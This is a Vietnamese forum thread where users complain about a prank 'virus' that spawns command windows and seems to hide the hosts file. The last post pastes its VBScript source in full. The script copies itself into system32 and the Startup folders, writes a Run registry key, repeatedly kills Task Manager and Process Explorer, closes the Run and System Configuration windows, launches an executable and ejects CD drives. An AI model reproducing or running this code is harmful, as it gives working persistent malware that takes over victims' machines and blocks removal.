[onlylove1493]

đm thớt
dính virus possiblehostsfilehijack mẹ rồi
giờ cứ mở máy là nó hiện 1 đống cmd nhảy liên tục
rồi bị mất file host trong etc nữa
thuốc

[thiennguyen1502]

Originally Posted by onlylove1493

đm thớt
dính virus possiblehostsfilehijack mẹ rồi
giờ cứ mở máy là nó hiện 1 đống cmd nhảy liên tục
rồi bị mất file host trong etc nữa
thuốc

không phải mất file host đâu thým ơi. nó ẩn kỹ lắm, copy file host từ máy khác chép đè vào thui

[DevilAndSunshine]

đang chạy win 8 mấy cái kia éo cái nào chạy dc.DM thớt

[TheTun1995]

em down k dc cái nào hết.
up len mediafire di bác

[hatucdao2712]

có ai rì viu lại cái gì xảy ra nếu bật lên ko...e xài win8, ko chạy đc gì hết

[kyms]

test trên máy ảo an toàn, không đau

[danhphaiclonevibiban]

mấy thím cho e hỏi, sau khi mở cái ver1 thì nó lẩm bẩm miết, e bật task manager tắt cái processers audio thì nó mất luôn tiếng, sửa làm sao bây h ạ?

[My.Heart.Is.Dead]

Độc các cmt mà đau ruột vl

[n.v.b]

fbgdsaXWDADXA

[mistake37]

Source v9 hay v11 gì éo biết, đậu má thằng thớt

Set objRandom = CreateObject( "System.Random" )

Set wshShell = CreateObject("WScript.Shell")

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

Set objFSO = CreateObject("Scripting.FileSystemObject")

Set objFolder = objFSO.GetFolder(".")



randomfolder =  "c:\windows\system32\" & objRandom.Next_2( 1000, 9999 ) & "\"

objCreate = objFSO.CreateFolder(randomfolder)

randomname = randomfolder & objRandom.Next_2( 1000, 9999 ) & ".vbe"

parama = "cmd.exe /c copy "+ chr(34) + objFSO.GetAbsolutePathName(objFolder) + "\*.vbe"+  chr(34) + " " + chr(34) + randomname + chr(34)

paramb = "cmd.exe /c copy "+ chr(34) + objFSO.GetAbsolutePathName(objFolder) + "\*.vbe"+  chr(34) + " " + chr(34) + "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" + chr(34)

paramc = "cmd.exe /c copy "+ chr(34) + objFSO.GetAbsolutePathName(objFolder) + "\*.vbe"+  chr(34) + " " + chr(34) + "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" + chr(34)

wshShell.Run parama , 0, True

wshShell.Run paramb , 0, True

wshShell.Run paramc , 0, True



reg = "wscript.exe //b //nologo " + chr(34) + randomname + chr(34)



do

sleeptime = objRandom.Next_2( 10, 40 )

wshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TurboTv11", reg, "REG_SZ"

dteWait = DateAdd("s", sleeptime, Now())

Do Until (Now() > dteWait)

if wshShell.appactivate("Run") then wshShell.sendkeys "%{F4}" 

if wshShell.appactivate("System Configuration") then wshShell.sendkeys "%{F4}" 

wshShell.Run "taskkill /im taskmgr.exe", 0, True

wshShell.Run "taskkill /im taskmgrs.exe", 0, True

wshShell.Run "taskkill /f /t /im procexp.exe", 0, True

wshShell.Run "taskkill /f /t /im procexp64.exe", 0, True

Loop

wscript.Sleep sleeptime

wshShell.Run "C:\Windows\Web\Scary.exe"

wscript.Sleep 5500

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

loop